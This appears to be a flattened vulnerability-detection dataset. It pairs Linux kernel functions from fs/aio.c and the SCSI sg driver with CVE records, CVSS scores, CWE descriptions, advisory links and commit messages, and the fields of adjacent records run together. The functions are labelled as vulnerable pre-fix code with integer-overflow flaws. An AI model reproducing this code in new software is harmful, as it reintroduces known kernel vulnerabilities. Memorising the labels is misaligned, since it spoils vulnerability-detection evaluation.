'http://www.ubuntu.com/usn/USN-2968-1', 'name': 'USN-2968-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.debian.org/security/2016/dsa-3503', 'name': 'DSA-3503', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2970-1', 'name': 'USN-2970-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2969-1', 'name': 'USN-2969-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2968-2', 'name': 'USN-2968-2', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'https://access.redhat.com/errata/RHSA-2018:1854', 'name': 'RHSA-2018:1854', 'refsource': 'REDHAT', 'tags': []}, {'url': 'https://access.redhat.com/errata/RHSA-2018:3096', 'name': 'RHSA-2018:3096', 'refsource': 'REDHAT', 'tags': []}, {'url': 'https://access.redhat.com/errata/RHSA-2018:3083', 'name': 'RHSA-2018:3083', 'refsource': 'REDHAT', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'NVD-CWE-Other'}]}]
HIGH
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:4.0:*:*:*:*:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'Integer overflow in the aio_setup_single_vector function in fs/aio.c in the Linux kernel 4.0 allows local users to cause a denial of service or possibly have unspecified other impact via a large AIO iovec. NOTE: this vulnerability exists because of a CVE-2012-6701 regression.'}]
2018-10-31T10:29Z
2016-05-02T10:59Z
Other
NVD is only using a subset of CWE for mapping instead of the entire CWE, and the weakness type is not covered by that subset.
Insufficient Information
https://nvd.nist.gov/vuln/categories
0
Al Viro
2015-03-20 20:17:32-04:00
aio: lift iov_iter_init() into aio_setup_..._rw() the only non-trivial detail is that we do it before rw_verify_area(), so we'd better cap the length ourselves in aio_setup_single_rw() case (for vectored case rw_copy_check_uvector() will do that for us). Signed-off-by: Al Viro <[email protected]>
4c185ce06dca14f5cea192f5a2c981ef50663f2b
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
aio_run_iocb
aio_run_iocb( struct kiocb * req , unsigned opcode , char __user * buf , size_t len , bool compat)
['req', 'opcode', 'buf', 'len', 'compat']
static ssize_t aio_run_iocb(struct kiocb *req, unsigned opcode, char __user *buf, size_t len, bool compat) { struct file *file = req->ki_filp; ssize_t ret; unsigned long nr_segs; int rw; fmode_t mode; aio_rw_op *rw_op; rw_iter_op *iter_op; struct iovec inline_vecs[UIO_FASTIOV], *iovec = inline_vecs; struct iov_iter iter; switch (opcode) { case IOCB_CMD_PREAD: case IOCB_CMD_PREADV: mode = FMODE_READ; rw = READ; rw_op = file->f_op->aio_read; iter_op = file->f_op->read_iter; goto rw_common; case IOCB_CMD_PWRITE: case IOCB_CMD_PWRITEV: mode = FMODE_WRITE; rw = WRITE; rw_op = file->f_op->aio_write; iter_op = file->f_op->write_iter; goto rw_common; rw_common: if (unlikely(!(file->f_mode & mode))) return -EBADF; if (!rw_op && !iter_op) return -EINVAL; if (opcode == IOCB_CMD_PREADV || opcode == IOCB_CMD_PWRITEV) ret = aio_setup_vectored_rw(req, rw, buf, &nr_segs, &len, &iovec, compat); else ret = aio_setup_single_vector(req, rw, buf, &nr_segs, len, iovec); if (!ret) ret = rw_verify_area(rw, file, &req->ki_pos, len); if (ret < 0) { if (iovec != inline_vecs) kfree(iovec); return ret; } len = ret; /* XXX: move/kill - rw_verify_area()? */ /* This matches the pread()/pwrite() logic */ if (req->ki_pos < 0) { ret = -EINVAL; break; } if (rw == WRITE) file_start_write(file); if (iter_op) { iov_iter_init(&iter, rw, iovec, nr_segs, len); ret = iter_op(req, &iter); } else { ret = rw_op(req, iovec, nr_segs, req->ki_pos); } if (rw == WRITE) file_end_write(file); break; case IOCB_CMD_FDSYNC: if (!file->f_op->aio_fsync) return -EINVAL; ret = file->f_op->aio_fsync(req, 1); break; case IOCB_CMD_FSYNC: if (!file->f_op->aio_fsync) return -EINVAL; ret = file->f_op->aio_fsync(req, 0); break; default: pr_debug("EINVAL: no operation provided\n"); return -EINVAL; } if (iovec != inline_vecs) kfree(iovec); if (ret != -EIOCBQUEUED) { /* * There's no easy way to restart the syscall since other AIO's * may be already running. Just fail this IO with EINTR. */ if (unlikely(ret == -ERESTARTSYS || ret == -ERESTARTNOINTR || ret == -ERESTARTNOHAND || ret == -ERESTART_RESTARTBLOCK)) ret = -EINTR; aio_complete(req, ret, 0); } return 0; }
495
True
1
CVE-2015-8830
False
False
False
False
AV:L/AC:L/Au:N/C:C/I:C/A:C
LOCAL
LOW
NONE
COMPLETE
COMPLETE
COMPLETE
7.2
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
LOCAL
LOW
LOW
NONE
UNCHANGED
HIGH
HIGH
HIGH
7.8
HIGH
1.8
5.9
nan
[{'url': 'https://github.com/torvalds/linux/commit/c4f4b82694fe48b02f7a881a1797131a6dad1364', 'name': 'https://github.com/torvalds/linux/commit/c4f4b82694fe48b02f7a881a1797131a6dad1364', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=c4f4b82694fe48b02f7a881a1797131a6dad1364', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=c4f4b82694fe48b02f7a881a1797131a6dad1364', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=4c185ce06dca14f5cea192f5a2c981ef50663f2b', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=4c185ce06dca14f5cea192f5a2c981ef50663f2b', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://www.openwall.com/lists/oss-security/2016/03/02/9', 'name': '[oss-security] 20160302 Re: CVE Request: Linux: aio write triggers integer overflow in some network protocols', 'refsource': 'MLIST', 'tags': []}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1314275', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1314275', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://github.com/torvalds/linux/commit/4c185ce06dca14f5cea192f5a2c981ef50663f2b', 'name': 'https://github.com/torvalds/linux/commit/4c185ce06dca14f5cea192f5a2c981ef50663f2b', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2968-1', 'name': 'USN-2968-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.debian.org/security/2016/dsa-3503', 'name': 'DSA-3503', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2970-1', 'name': 'USN-2970-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2969-1', 'name': 'USN-2969-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2968-2', 'name': 'USN-2968-2', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'https://access.redhat.com/errata/RHSA-2018:1854', 'name': 'RHSA-2018:1854', 'refsource': 'REDHAT', 'tags': []}, {'url': 'https://access.redhat.com/errata/RHSA-2018:3096', 'name': 'RHSA-2018:3096', 'refsource': 'REDHAT', 'tags': []}, {'url': 'https://access.redhat.com/errata/RHSA-2018:3083', 'name': 'RHSA-2018:3083', 'refsource': 'REDHAT', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'NVD-CWE-Other'}]}]
HIGH
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:4.0:*:*:*:*:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'Integer overflow in the aio_setup_single_vector function in fs/aio.c in the Linux kernel 4.0 allows local users to cause a denial of service or possibly have unspecified other impact via a large AIO iovec. NOTE: this vulnerability exists because of a CVE-2012-6701 regression.'}]
2018-10-31T10:29Z
2016-05-02T10:59Z
Other
NVD is only using a subset of CWE for mapping instead of the entire CWE, and the weakness type is not covered by that subset.
Insufficient Information
https://nvd.nist.gov/vuln/categories
0
Al Viro
2015-03-20 20:17:32-04:00
aio: lift iov_iter_init() into aio_setup_..._rw() the only non-trivial detail is that we do it before rw_verify_area(), so we'd better cap the length ourselves in aio_setup_single_rw() case (for vectored case rw_copy_check_uvector() will do that for us). Signed-off-by: Al Viro <[email protected]>
4c185ce06dca14f5cea192f5a2c981ef50663f2b
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
aio_setup_single_vector
aio_setup_single_vector( struct kiocb * kiocb , int rw , char __user * buf , unsigned long * nr_segs , size_t len , struct iovec * iovec)
['kiocb', 'rw', 'buf', 'nr_segs', 'len', 'iovec']
static ssize_t aio_setup_single_vector(struct kiocb *kiocb, int rw, char __user *buf, unsigned long *nr_segs, size_t len, struct iovec *iovec) { if (unlikely(!access_ok(!rw, buf, len))) return -EFAULT; iovec->iov_base = buf; iovec->iov_len = len; *nr_segs = 1; return 0; }
70
True
1
CVE-2015-8830
False
False
False
False
AV:L/AC:L/Au:N/C:C/I:C/A:C
LOCAL
LOW
NONE
COMPLETE
COMPLETE
COMPLETE
7.2
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
LOCAL
LOW
LOW
NONE
UNCHANGED
HIGH
HIGH
HIGH
7.8
HIGH
1.8
5.9
nan
[{'url': 'https://github.com/torvalds/linux/commit/c4f4b82694fe48b02f7a881a1797131a6dad1364', 'name': 'https://github.com/torvalds/linux/commit/c4f4b82694fe48b02f7a881a1797131a6dad1364', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=c4f4b82694fe48b02f7a881a1797131a6dad1364', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=c4f4b82694fe48b02f7a881a1797131a6dad1364', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=4c185ce06dca14f5cea192f5a2c981ef50663f2b', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=4c185ce06dca14f5cea192f5a2c981ef50663f2b', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://www.openwall.com/lists/oss-security/2016/03/02/9', 'name': '[oss-security] 20160302 Re: CVE Request: Linux: aio write triggers integer overflow in some network protocols', 'refsource': 'MLIST', 'tags': []}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1314275', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1314275', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://github.com/torvalds/linux/commit/4c185ce06dca14f5cea192f5a2c981ef50663f2b', 'name': 'https://github.com/torvalds/linux/commit/4c185ce06dca14f5cea192f5a2c981ef50663f2b', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2968-1', 'name': 'USN-2968-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.debian.org/security/2016/dsa-3503', 'name': 'DSA-3503', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2970-1', 'name': 'USN-2970-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2969-1', 'name': 'USN-2969-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2968-2', 'name': 'USN-2968-2', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'https://access.redhat.com/errata/RHSA-2018:1854', 'name': 'RHSA-2018:1854', 'refsource': 'REDHAT', 'tags': []}, {'url': 'https://access.redhat.com/errata/RHSA-2018:3096', 'name': 'RHSA-2018:3096', 'refsource': 'REDHAT', 'tags': []}, {'url': 'https://access.redhat.com/errata/RHSA-2018:3083', 'name': 'RHSA-2018:3083', 'refsource': 'REDHAT', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'NVD-CWE-Other'}]}]
HIGH
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:4.0:*:*:*:*:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'Integer overflow in the aio_setup_single_vector function in fs/aio.c in the Linux kernel 4.0 allows local users to cause a denial of service or possibly have unspecified other impact via a large AIO iovec. NOTE: this vulnerability exists because of a CVE-2012-6701 regression.'}]
2018-10-31T10:29Z
2016-05-02T10:59Z
Other
NVD is only using a subset of CWE for mapping instead of the entire CWE, and the weakness type is not covered by that subset.
Insufficient Information
https://nvd.nist.gov/vuln/categories
0
Al Viro
2015-03-20 20:17:32-04:00
aio: lift iov_iter_init() into aio_setup_..._rw() the only non-trivial detail is that we do it before rw_verify_area(), so we'd better cap the length ourselves in aio_setup_single_rw() case (for vectored case rw_copy_check_uvector() will do that for us). Signed-off-by: Al Viro <[email protected]>
4c185ce06dca14f5cea192f5a2c981ef50663f2b
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
aio_setup_vectored_rw
aio_setup_vectored_rw( struct kiocb * kiocb , int rw , char __user * buf , unsigned long * nr_segs , size_t * len , struct iovec ** iovec , bool compat)
['kiocb', 'rw', 'buf', 'nr_segs', 'len', 'iovec', 'compat']
static ssize_t aio_setup_vectored_rw(struct kiocb *kiocb, int rw, char __user *buf, unsigned long *nr_segs, size_t *len, struct iovec **iovec, bool compat) { ssize_t ret; *nr_segs = *len; #ifdef CONFIG_COMPAT if (compat) ret = compat_rw_copy_check_uvector(rw, (struct compat_iovec __user *)buf, *nr_segs, UIO_FASTIOV, *iovec, iovec); else #endif ret = rw_copy_check_uvector(rw, (struct iovec __user *)buf, *nr_segs, UIO_FASTIOV, *iovec, iovec); if (ret < 0) return ret; /* len now reflect bytes instead of segs */ *len = ret; return 0; }
115
True
1
CVE-2015-5707
False
False
False
False
AV:L/AC:L/Au:N/C:P/I:P/A:P
LOCAL
LOW
NONE
PARTIAL
PARTIAL
PARTIAL
4.6
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=fdc81f45e9f57858da6351836507fbcf1b7583ee', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=fdc81f45e9f57858da6351836507fbcf1b7583ee', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://github.com/torvalds/linux/commit/fdc81f45e9f57858da6351836507fbcf1b7583ee', 'name': 'https://github.com/torvalds/linux/commit/fdc81f45e9f57858da6351836507fbcf1b7583ee', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Third Party Advisory']}, {'url': 'https://github.com/torvalds/linux/commit/451a2886b6bf90e2fb378f7c46c655450fb96e81', 'name': 'https://github.com/torvalds/linux/commit/451a2886b6bf90e2fb378f7c46c655450fb96e81', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Third Party Advisory']}, {'url': 'http://www.openwall.com/lists/oss-security/2015/08/01/6', 'name': '[oss-security] 20150801 CVE request: Integer overflow in SCSI generic driver in Linux <4.1', 'refsource': 'MLIST', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1250030', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1250030', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking', 'Third Party Advisory']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=451a2886b6bf90e2fb378f7c46c655450fb96e81', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=451a2886b6bf90e2fb378f7c46c655450fb96e81', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'http://www.securityfocus.com/bid/76145', 'name': '76145', 'refsource': 'BID', 'tags': ['Third Party Advisory', 'VDB Entry']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-11/msg00029.html', 'name': 'SUSE-SU-2015:2087', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-11/msg00028.html', 'name': 'SUSE-SU-2015:2086', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-11/msg00032.html', 'name': 'SUSE-SU-2015:2091', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-11/msg00031.html', 'name': 'SUSE-SU-2015:2090', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-11/msg00030.html', 'name': 'SUSE-SU-2015:2089', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-11/msg00026.html', 'name': 'SUSE-SU-2015:2084', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-11/msg00027.html', 'name': 'SUSE-SU-2015:2085', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00021.html', 'name': 'SUSE-SU-2015:1611', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2760-1', 'name': 'USN-2760-1', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2759-1', 'name': 'USN-2759-1', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00018.html', 'name': 'SUSE-SU-2015:1592', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2734-1', 'name': 'USN-2734-1', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2737-1', 'name': 'USN-2737-1', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2733-1', 'name': 'USN-2733-1', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2738-1', 'name': 'USN-2738-1', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2750-1', 'name': 'USN-2750-1', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://www.debian.org/security/2015/dsa-3329', 'name': 'DSA-3329', 'refsource': 'DEBIAN', 'tags': ['Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00004.html', 'name': 'SUSE-SU-2015:1478', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'https://source.android.com/security/bulletin/2017-07-01', 'name': 'https://source.android.com/security/bulletin/2017-07-01', 'refsource': 'CONFIRM', 'tags': ['Third Party Advisory']}, {'url': 'http://www.securitytracker.com/id/1033521', 'name': '1033521', 'refsource': 'SECTRACK', 'tags': ['Third Party Advisory', 'VDB Entry']}]
[{'description': [{'lang': 'en', 'value': 'CWE-190'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionStartIncluding': '2.6.0', 'versionEndExcluding': '4.1.0', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:canonical:ubuntu_linux:12.04:*:*:*:lts:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:canonical:ubuntu_linux:14.04:*:*:*:lts:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:canonical:ubuntu_linux:15.04:*:*:*:*:*:*:*', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:debian:debian_linux:8.0:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:debian:debian_linux:7.0:*:*:*:*:*:*:*', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:suse:suse_linux_enterprise_server:11:sp3:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:suse:suse_linux_enterprise_desktop:11:sp3:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:suse:suse_linux_enterprise_server:11:sp3:*:*:*:vmware:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:suse:suse_linux_enterprise_server:11:sp2:*:*:ltss:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'Integer overflow in the sg_start_req function in drivers/scsi/sg.c in the Linux kernel 2.6.x through 4.x before 4.1 allows local users to cause a denial of service or possibly have unspecified other impact via a large iov_count value in a write request.'}]
2020-06-02T14:57Z
2015-10-19T10:59Z
Integer Overflow or Wraparound
The software performs a calculation that can produce an integer overflow or wraparound, when the logic assumes that the resulting value will always be larger than the original value. This can introduce other weaknesses when the calculation is used for resource management or execution control.
An integer overflow or wraparound occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may wrap to become a very small or negative number. While this may be intended behavior in circumstances that rely on wrapping, it can have security consequences if the wrap is unexpected. This is especially the case if the integer overflow can be triggered using user-supplied inputs. This becomes security-critical when the result is used to control looping, make a security decision, or determine the offset or size in behaviors such as memory allocation, copying, concatenation, etc.
https://cwe.mitre.org/data/definitions/190.html
0
Al Viro
2015-03-21 20:25:30-04:00
sg_start_req(): use import_iovec() Signed-off-by: Al Viro <[email protected]>
fdc81f45e9f57858da6351836507fbcf1b7583ee
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
sg_start_req
sg_start_req( Sg_request * srp , unsigned char * cmd)
['srp', 'cmd']
sg_start_req(Sg_request *srp, unsigned char *cmd) { int res; struct request *rq; Sg_fd *sfp = srp->parentfp; sg_io_hdr_t *hp = &srp->header; int dxfer_len = (int) hp->dxfer_len; int dxfer_dir = hp->dxfer_direction; unsigned int iov_count = hp->iovec_count; Sg_scatter_hold *req_schp = &srp->data; Sg_scatter_hold *rsv_schp = &sfp->reserve; struct request_queue *q = sfp->parentdp->device->request_queue; struct rq_map_data *md, map_data; int rw = hp->dxfer_direction == SG_DXFER_TO_DEV ? WRITE : READ; unsigned char *long_cmdp = NULL; SCSI_LOG_TIMEOUT(4, sg_printk(KERN_INFO, sfp->parentdp, "sg_start_req: dxfer_len=%d\n", dxfer_len)); if (hp->cmd_len > BLK_MAX_CDB) { long_cmdp = kzalloc(hp->cmd_len, GFP_KERNEL); if (!long_cmdp) return -ENOMEM; } /* * NOTE * * With scsi-mq enabled, there are a fixed number of preallocated * requests equal in number to shost->can_queue. If all of the * preallocated requests are already in use, then using GFP_ATOMIC with * blk_get_request() will return -EWOULDBLOCK, whereas using GFP_KERNEL * will cause blk_get_request() to sleep until an active command * completes, freeing up a request. Neither option is ideal, but * GFP_KERNEL is the better choice to prevent userspace from getting an * unexpected EWOULDBLOCK. * * With scsi-mq disabled, blk_get_request() with GFP_KERNEL usually * does not sleep except under memory pressure. */ rq = blk_get_request(q, rw, GFP_KERNEL); if (IS_ERR(rq)) { kfree(long_cmdp); return PTR_ERR(rq); } blk_rq_set_block_pc(rq); if (hp->cmd_len > BLK_MAX_CDB) rq->cmd = long_cmdp; memcpy(rq->cmd, cmd, hp->cmd_len); rq->cmd_len = hp->cmd_len; srp->rq = rq; rq->end_io_data = srp; rq->sense = srp->sense_b; rq->retries = SG_DEFAULT_RETRIES; if ((dxfer_len <= 0) || (dxfer_dir == SG_DXFER_NONE)) return 0; if (sg_allow_dio && hp->flags & SG_FLAG_DIRECT_IO && dxfer_dir != SG_DXFER_UNKNOWN && !iov_count && !sfp->parentdp->device->host->unchecked_isa_dma && blk_rq_aligned(q, (unsigned long)hp->dxferp, dxfer_len)) md = NULL; else md = &map_data; if (md) { if (!sg_res_in_use(sfp) && dxfer_len <= rsv_schp->bufflen) sg_link_reserve(sfp, srp, dxfer_len); else { res = sg_build_indirect(req_schp, sfp, dxfer_len); if (res) return res; } md->pages = req_schp->pages; md->page_order = req_schp->page_order; md->nr_entries = req_schp->k_use_sg; md->offset = 0; md->null_mapped = hp->dxferp ? 0 : 1; if (dxfer_dir == SG_DXFER_TO_FROM_DEV) md->from_user = 1; else md->from_user = 0; } if (unlikely(iov_count > MAX_UIOVEC)) return -EINVAL; if (iov_count) { int size = sizeof(struct iovec) * iov_count; struct iovec *iov; struct iov_iter i; iov = memdup_user(hp->dxferp, size); if (IS_ERR(iov)) return PTR_ERR(iov); iov_iter_init(&i, rw, iov, iov_count, min_t(size_t, hp->dxfer_len, iov_length(iov, iov_count))); res = blk_rq_map_user_iov(q, rq, md, &i, GFP_ATOMIC); kfree(iov); } else res = blk_rq_map_user(q, rq, md, hp->dxferp, hp->dxfer_len, GFP_ATOMIC); if (!res) { srp->bio = rq->bio; if (!md) { req_schp->dio_in_use = 1; hp->info |= SG_INFO_DIRECT_IO; } } return res; }
618
True
1
CVE-2015-6526
False
False
False
False
AV:L/AC:L/Au:N/C:N/I:N/A:C
LOCAL
LOW
NONE
NONE
NONE
COMPLETE
4.9
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.0.2', 'name': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.0.2', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.openwall.com/lists/oss-security/2015/08/18/4', 'name': '[oss-security] 20150818 CVE request - Linux kernel - perf on ppp64 - unbounded checks in perf_callchain_user_64 denial of service.', 'refsource': 'MLIST', 'tags': []}, {'url': 'https://github.com/torvalds/linux/commit/9a5cbce421a283e6aea3c4007f141735bf9da8c3', 'name': 'https://github.com/torvalds/linux/commit/9a5cbce421a283e6aea3c4007f141735bf9da8c3', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=9a5cbce421a283e6aea3c4007f141735bf9da8c3', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=9a5cbce421a283e6aea3c4007f141735bf9da8c3', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1218454', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1218454', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.securityfocus.com/bid/76401', 'name': '76401', 'refsource': 'BID', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2760-1', 'name': 'USN-2760-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2759-1', 'name': 'USN-2759-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.securitytracker.com/id/1033728', 'name': '1033728', 'refsource': 'SECTRACK', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-399'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.0.1', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The perf_callchain_user_64 function in arch/powerpc/perf/callchain.c in the Linux kernel before 4.0.2 on ppc64 platforms allows local users to cause a denial of service (infinite loop) via a deep 64-bit userspace backtrace.'}]
2016-12-08T03:12Z
2015-08-31T20:59Z
Resource Management Errors
Weaknesses in this category are related to improper management of system resources.
https://cwe.mitre.org/data/definitions/399.html
1
Anton Blanchard
2015-04-14 07:51:03+10:00
powerpc/perf: Cap 64bit userspace backtraces to PERF_MAX_STACK_DEPTH We cap 32bit userspace backtraces to PERF_MAX_STACK_DEPTH (currently 127), but we forgot to do the same for 64bit backtraces. Cc: [email protected] Signed-off-by: Anton Blanchard <[email protected]> Signed-off-by: Michael Ellerman <[email protected]>
9a5cbce421a283e6aea3c4007f141735bf9da8c3
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
